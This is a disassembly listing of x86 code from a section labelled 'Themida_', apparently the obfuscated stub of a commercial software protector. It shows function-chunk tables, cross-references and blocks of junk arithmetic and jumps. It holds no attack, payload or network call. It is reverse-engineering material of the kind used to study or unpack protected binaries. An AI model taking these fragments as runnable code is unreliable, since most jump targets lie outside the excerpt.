; FUNCTION CHUNK AT 00592C12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592D63 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592DDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592DFF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593026 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0059309E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005931C5 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005933FD SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005934E2 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005937E0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593802 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059388D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593925 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593AB7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00593AF1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00593B98 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593CC1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593D33 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593D62 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593E59 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059423F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594390 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005943BF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005946A9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005946BF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059470C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059489A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594AFD SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00594B5E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594B9B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00594C3C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00594CB3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00594DA2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00595431 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059547B SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00595602 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005956BA SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00595705 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005957F7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005958BF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059596D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00595A8E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00595C0E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595DA2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595E8C SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00595F9B SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00596109 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00596173 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005963D2 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059641C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00596477 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00596655 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005967C2 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596868 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596ADF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596BBC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596CC1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596DEA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596EE8 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00596FF5 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005972E7 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059750E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 005977C3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00597CE4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00597F43 SIZE 0000001E BYTES
push ebp
push eax
jmp loc_597CE4
sub_5916C4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5916CB proc near ; CODE XREF: sub_5916C4+2D09j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058A946 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058ADEC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B0B8 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058BAB2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058C50F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C72E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C76A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CEB1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058CFF9 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0058DEBB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058DF20 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E25F SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058E4E3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E5C6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058E6D0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E893 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058E9E9 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0058F172 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058F2DF SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058F39F SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0058F57A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058FFD3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005900F4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590B60 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590C11 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00591072 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059147B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00592BCF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00592C84 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00592E7F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00592FD6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005937A4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00593BD3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00593F93 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005949C1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00594BAC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005952AE SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005953A1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005959A4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00595DF6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00595F7D SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596139 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00596671 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00596713 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059682E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005969EA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00596BFE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596EC3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005973A9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597D1F SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00597D45 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597D77 SIZE 00000015 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
jmp loc_590B60
sub_5916CB endp
; ---------------------------------------------------------------------------
loc_5916D9: ; CODE XREF: Themida_:00594B88j
pop ebx
mov esi, eax
pop eax
shl esi, 8
xor esi, 614A6B72h
sub ebx, esi
pop esi
sub esp, 4
mov [esp], ebp
mov ebp, 2536581Eh
shr ebp, 3
push eax
jmp loc_590213
; ---------------------------------------------------------------------------
loc_5916FD: ; CODE XREF: Themida_:0058F562j
inc ebx
jmp loc_58E314
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_591703: ; CODE XREF: sub_58D99C-15CBj
pop ebp
jmp loc_592834
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591709: ; CODE XREF: sub_5916C4+5C35j
lodsb
xor al, bl
jmp sub_5921D8
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_591711: ; CODE XREF: Themida_:00591DA6j
xor ecx, 71AA21AAh
xor ebx, ecx
pop ecx
mov eax, ebx
pop ebx
jmp loc_58D208
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_591722: ; CODE XREF: sub_590B70+12j
push edx
mov edx, 7B4459DFh
jmp loc_5906B4
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_59172D: ; CODE XREF: sub_590010-12A7j
sub eax, 2A0D12AAh
jmp loc_58D2ED
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4600h
mov [esp], eax
jmp loc_590AF7
; ---------------------------------------------------------------------------
mov cx, [esp]
push 44B4h
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
add esp, 4
push ebx
jmp loc_594156
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_591765: ; CODE XREF: sub_595123-6328j
sub ebp, 6B080B9Ah
pop edi
xor ebp, edx
pop edx
push 1F540F2Fh
pop edx
jmp loc_58D9F0
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_59177A: ; CODE XREF: Themida_:005902F9j
push esi
mov esi, 3FC775BDh
sub edx, esi
jmp loc_593A71
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_591787: ; CODE XREF: sub_59089C-62AFj
xor [edi+24h], eax
jmp loc_591877
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_59178F: ; CODE XREF: sub_5938B9-88B4j
mov ebp, [esp+0]
jmp loc_58F99E
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_591797: ; CODE XREF: Themida_:0058F88Dj
add al, ch
pop ecx
add al, dh
push ecx
mov ch, 0CCh
inc ch
sub ch, 56h
add ch, 34h
sub al, ch
pop ecx
push ebx
mov bh, 0D0h
xor bh, 17h
add al, 4Dh
add al, bh
sub al, 4Dh
pop ebx
mov edx, [esp]
add esp, 4
jmp loc_590A57
; ---------------------------------------------------------------------------
loc_5917C5: ; CODE XREF: Themida_:0059595Dj
shl edx, 7
shr edx, 4
jmp loc_58C7B5
; ---------------------------------------------------------------------------
loc_5917D0: ; CODE XREF: Themida_:005938DEj
push 5892h
mov [esp], ebx
mov ebx, 63C24403h
push eax
jmp loc_58ABDC
; ---------------------------------------------------------------------------
loc_5917E3: ; CODE XREF: Themida_:00596D74j
inc edi
add edi, 6FDC9C57h
sub ebx, 13E8271Fh
add ebx, edi
add ebx, 13E8271Fh
mov edi, [esp]
jmp loc_58A638
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DBC4
loc_591800: ; CODE XREF: sub_58DBC4+16j
or eax, eax
jz loc_595295
push ebp
push 1E48h
mov [esp+4+var_4], ebx
push ecx
mov ecx, 3A3E677Bh
add [esp+8+var_4], ecx
mov ecx, [esp+8+var_8]
jmp loc_590560
; END OF FUNCTION CHUNK FOR sub_58DBC4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_591823: ; CODE XREF: sub_59762D-A705j
sub ebp, 285E5EC5h
jmp loc_58C06F
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_59182E: ; CODE XREF: Themida_:0058CF33j
xor [esp], esi
xor esi, [esp]
pop esp
mov [esp], edx
push ecx
jmp loc_5933E6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_59183E: ; CODE XREF: sub_595258-9CAEj
xor edi, [esp+8+var_8]
pop esp
and eax, esi
jmp loc_58A40F
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_591849: ; CODE XREF: Themida_:00595A06j
and edi, 13022E1Fh
jmp loc_593B85
; ---------------------------------------------------------------------------
loc_591854: ; CODE XREF: Themida_:005962D5j
mov al, 2Eh
jmp loc_58FA52
; ---------------------------------------------------------------------------
loc_59185B: ; CODE XREF: Themida_:0059045Aj
push 13000451h
pop ebx
jmp loc_5925DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598028
loc_591866: ; CODE XREF: sub_598028-170Aj
pop edx
not edx
dec edx
sub edx, 88B7B349h
mov esi, edx
jmp loc_592572
; END OF FUNCTION CHUNK FOR sub_598028
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_591877: ; CODE XREF: sub_59089C+EEEj
pop eax
mov esi, [esp+0]
push edi
push esp
pop edi
push ebx
mov ebx, 373860A7h
or ebx, 78797C9Fh
push edi
mov edi, 7F797CBBh
sub ebx, edi
jmp loc_58E0F1
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
loc_591897: ; CODE XREF: Themida_:00597BACj
push cx
mov cx, 2513h
add ax, cx
pop cx
pop si
add ax, bx
push esi
mov si, 5317h
jmp loc_597A11
; ---------------------------------------------------------------------------
loc_5918B1: ; CODE XREF: Themida_:00590280j
xchg edx, edi
dec edi
sub edi, 0AE18F2EEh
add ebx, edi
pop edi
add ebx, 4E8D2BADh
sub ebx, eax
push esi
mov esi, 4E8D2BADh
sub ebx, esi
pop esi
push 71DCh
mov [esp], esi
push eax
jmp loc_58CF57
; ---------------------------------------------------------------------------
mov cx, [esp]
push 14D7h
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 2
push eax
push dword ptr [esp+4]
jmp loc_5902E3
; ---------------------------------------------------------------------------
loc_5918FE: ; CODE XREF: Themida_:0059383Dj
xor ebp, 5B30402Ch
jmp loc_58BDDA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_591909: ; CODE XREF: sub_590B70+3E09j
xor edi, 0AFCAA726h
push edi
pop esi
pop edi
jmp loc_58CD07
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D236
loc_591917: ; CODE XREF: sub_58D236+6j
mov [esp-4+arg_0], ebx
push 2A5F18BFh
pop ebx
not ebx
xor ebx, 63672FE0h
ja loc_591B4D
sub ebx, 36D208D2h
mov ebp, ebx
pop ebx
mov ch, 8Dh
push esi
loc_59193A: ; CODE XREF: Themida_:005958BAj
add edi, 4
sub edi, 4
xchg edi, [esp-4+arg_0]
jmp loc_58C6BC
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
loc_59194E: ; CODE XREF: Themida_:00593B2Ej
push eax
jmp loc_59645B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_591954: ; CODE XREF: sub_58F5B5:loc_594BC3j
; sub_5EC2E8-57517j
sub ebp, 2C180382h
pop ecx
push ebp
jmp loc_58CB00
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_591961: ; CODE XREF: sub_58F5B5+375j
jmp loc_58C6EC
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_591966: ; CODE XREF: Themida_:00596BE1j
pop esi
pop ebp
add [esp], eax
jmp loc_58F8CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_591970: ; CODE XREF: sub_58B4D6+B66Ej
xor ebx, esi
push esi
not [esp+0Ch+var_C]
pop esi
xchg esi, ebx
add ebx, 83E9DBE6h
jmp loc_593969
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E3A6
loc_591984: ; CODE XREF: sub_58E3A6+47DCj
add edx, ecx
jmp loc_596481
; END OF FUNCTION CHUNK FOR sub_58E3A6
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_58B917
; ---------------------------------------------------------------------------
loc_591993: ; CODE XREF: Themida_:00594647j
pop ebx
push small 5F24h
mov [esp], bx
push edx
push ecx
mov cl, 3Ch
not cl
or cl, 52h
sub cl, 7Ah
jmp loc_58AD05
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_5919AD: ; CODE XREF: sub_58F5B5+4904j
mov ebx, 485921D3h
add ebx, 0C6A2FA8h
jmp loc_58F704
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_5919BD: ; CODE XREF: sub_590010+27A3j
or eax, 73A34616h
add eax, 270368AAh
jmp loc_58C2D8
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_5919CC: ; CODE XREF: sub_58C17E-CB5j
; sub_595E21-914Aj
sub eax, 4
xchg eax, [esp+2+var_4+2]
pop esp
jmp loc_58AC8B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_5919DA: ; CODE XREF: sub_5916C4+C72j
neg ebp
push edi
jmp loc_595716
; END OF FUNCTION CHUNK FOR sub_5916C4
; =============== S U B R O U T I N E =======================================
sub_5919E2 proc near ; CODE XREF: sub_590E26+20D1j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058A4AE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058AF7B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058B4FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B5C2 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058CBD1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058D36C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058D4D4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058D6E8 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058DB6C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E794 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058EF1B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F1B9 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00590005 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005902BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00590373 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00590B96 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059348F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005946E3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594E8C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00595564 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00595CF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059615A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005973F1 SIZE 00000030 BYTES
push ebx
add dword ptr [esp+0], 4B830C37h
pop esi
push edx
push edi
mov edi, 13BC364Eh
jmp loc_58B5C2
sub_5919E2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5919F7: ; CODE XREF: Themida_:0058E91Ej
push edi
mov edi, 0AF314A0h
add edi, 61AA7A20h
add edi, 0A4DD7249h
sub esi, edi
mov edi, [esp]
add esp, 4
jmp loc_590F87
; ---------------------------------------------------------------------------
loc_591A19: ; CODE XREF: Themida_:0058F31Bj
mov dl, al
pop eax
xor ah, dl
pop edx
and bl, ah
push dword ptr [esp]
pop eax
add esp, 4
push edx
push ebx
mov bl, 5Fh
mov dl, 0D3h
sub dl, bl
pop ebx
jmp loc_5961DF
; ---------------------------------------------------------------------------
loc_591A36: ; CODE XREF: Themida_:0058C3B7j
sub eax, edx
jmp loc_5973A9
; ---------------------------------------------------------------------------
loc_591A3D: ; CODE XREF: Themida_:005933F8j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
push edi
mov edi, 78E6526Bh
add edi, 2E7D7FA0h
sub edi, 9F9257BDh
push ebp
push ecx
mov ecx, edi
mov ebp, ecx
pop ecx
push ebp
push ebp
mov ebp, 384A3494h
jmp loc_58B80D
; ---------------------------------------------------------------------------
loc_591A72: ; CODE XREF: Themida_:0058C541j
sub ecx, 7BE117A2h
neg ecx
sub ecx, 17E1A876h
push ecx
add dword ptr [esp], 55A96E03h
mov ebp, [esp]
add esp, 4
push eax
mov eax, 55A96E03h
jmp loc_58F179
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591A9C: ; CODE XREF: sub_5916C4+1333j
pop edx
pop edi
mov edx, [esp+0]
add esp, 4
jmp sub_58F091
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591AAC: ; CODE XREF: sub_590467+570Aj
pop esp
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 4
add eax, ebx
jmp loc_58AE9C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_591AC2: ; CODE XREF: Themida_:0058A95Aj
; sub_595E21-7D4j
neg ecx
jnz loc_58FD90
jmp loc_5934B9
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
xchg ecx, [esp]
pop esp
add esp, 4
mov bh, dl
push ecx
loc_591AD9: ; CODE XREF: Themida_:0059458Ej
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
push edi
mov edi, 1A730D6Ah
jmp loc_590285
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592857
loc_591AF7: ; CODE XREF: sub_592857+7j
push ecx
push 55BB4B17h
jmp loc_596C75
; END OF FUNCTION CHUNK FOR sub_592857
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591B02: ; CODE XREF: sub_590467+73B1j
pop ecx
inc eax
and eax, 33685107h
shl eax, 1
push ebx
mov ebx, 1FF398Dh
jmp loc_59788D
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_591B16: ; CODE XREF: Themida_:00595E6Bj
mov cx, dx
jmp loc_590AD9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_591B1E: ; CODE XREF: sub_590010+4CE2j
add esp, 4
sub esp, 4
mov [esp+8+var_8], esi
push 0C70CDF98h
pop esi
jmp loc_58CADA
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_591B35: ; CODE XREF: Themida_:0058B123j
push edx
mov edx, esp
jmp loc_58CE33
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_591B3D: ; CODE XREF: sub_5938B9-8358j
; sub_59762D-2093j
dec edx
jmp loc_58F6A0
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594FD6
loc_591B43: ; CODE XREF: sub_594FD6+209Bj
push eax
mov ah, ch
mov dh, ah
jmp loc_58B154
; END OF FUNCTION CHUNK FOR sub_594FD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D236
loc_591B4D: ; CODE XREF: sub_58D236+46F2j
sub ebx, 36D208D2h
mov ebp, ebx
pop ebx
jmp loc_593B4E
; END OF FUNCTION CHUNK FOR sub_58D236
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_591B5B: ; CODE XREF: sub_58F5B5+6CCBj
add ebp, 586A181Ah
add ebp, 1BA2E540h
add eax, ebp
pop ebp
pop esi
jmp loc_59518A
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_591B70: ; CODE XREF: Themida_:0058C858j
add edi, 4
xchg edi, [esp]
jmp loc_58C85D
; ---------------------------------------------------------------------------
loc_591B7B: ; CODE XREF: Themida_:00590604j
pop edi
add edi, 480C5E91h
add edi, 0B5315109h
mov ebx, edi
jmp loc_58D835
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_591B8F: ; CODE XREF: sub_595258-728Dj
; Themida_:0058E39Aj
add esp, 4
jmp loc_591E6E
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590B70
loc_591B9A: ; CODE XREF: sub_590B70-5656j
pop eax
jmp loc_594971
; END OF FUNCTION CHUNK FOR sub_590B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591BA0: ; CODE XREF: sub_590467+608Aj
mov [esp+0], ecx
sub esp, 4
mov [esp+6+var_6], edx
mov dl, 8
jmp loc_595C9B
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_591BB3: ; CODE XREF: Themida_:00592014j
pop ecx
add ebx, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_58C397
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591BD6: ; CODE XREF: sub_58C17E+7500j
push esi
mov esi, 0EF9E425Ah
mov edi, esi
mov esi, [esp+2+var_4+2]
jmp loc_58FA36
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_591BE6: ; CODE XREF: Themida_:0059742Cj
add esi, 4
add esi, 4
jmp loc_58B2A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_591BF4: ; CODE XREF: sub_58C17E+74E0j
; sub_58D236+A513j
push edi
mov edi, 2
add ecx, 69122792h
add ecx, 752922A3h
add ecx, edi
jmp loc_58F1ED
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_591C0D: ; CODE XREF: Themida_:0058E1C8j
add esi, 0F2886CF2h
push esi
push edi
mov edi, 17022448h
jmp loc_58ECAF
; ---------------------------------------------------------------------------
loc_591C1F: ; CODE XREF: Themida_:00597ABCj
pop eax
push ebx
mov ebx, 23B32D4Eh
not ebx
add ebx, 23B32D51h
add esi, 30857100h
add esi, ebx
push eax
push ecx
push 61247D12h
pop ecx
jmp loc_58DE00
; ---------------------------------------------------------------------------
loc_591C43: ; CODE XREF: Themida_:005911FDj
js loc_5977F2
sub esi, 5875546Eh
add esi, 4C5D6ABAh
xor esi, 0A0C09E4h
mov edi, esi
pop esi
xor eax, edi
pop edi
or edi, eax
mov eax, [esp]
add esp, 4
shr edi, 7
or edi, 256E492Bh
sub edi, 0ECEABED8h
add eax, edi
jmp loc_596759
; ---------------------------------------------------------------------------
loc_591C7F: ; CODE XREF: Themida_:0058A3B4j
mov ecx, esp
sub esp, 4
mov [esp], ebp
jmp loc_594A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595123
loc_591C8F: ; CODE XREF: sub_595123-DCj
xchg edx, [esp+0Ch+var_C]
jmp loc_58EA29
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
loc_591C97: ; CODE XREF: Themida_:0058EE21j
push ebx
push eax
jmp loc_5967F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_591C9E: ; CODE XREF: sub_5EC2E8-58412j
add ebx, 0E0C6333h
pop edi
push eax
mov eax, 7E744D80h
sub eax, 0C2A0628h
neg eax
neg eax
inc eax
sub eax, 6FA30578h
sub eax, 0EE4005F2h
add ebx, eax
pop eax
push dword ptr [eax]
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_591CC9: ; CODE XREF: sub_5916C4-316j
mov ebx, 53D67ECFh
not ebx
or ebx, 5C2625D5h
jmp loc_58B27B
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_591CDB: ; CODE XREF: sub_590467+5AE8j
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590467
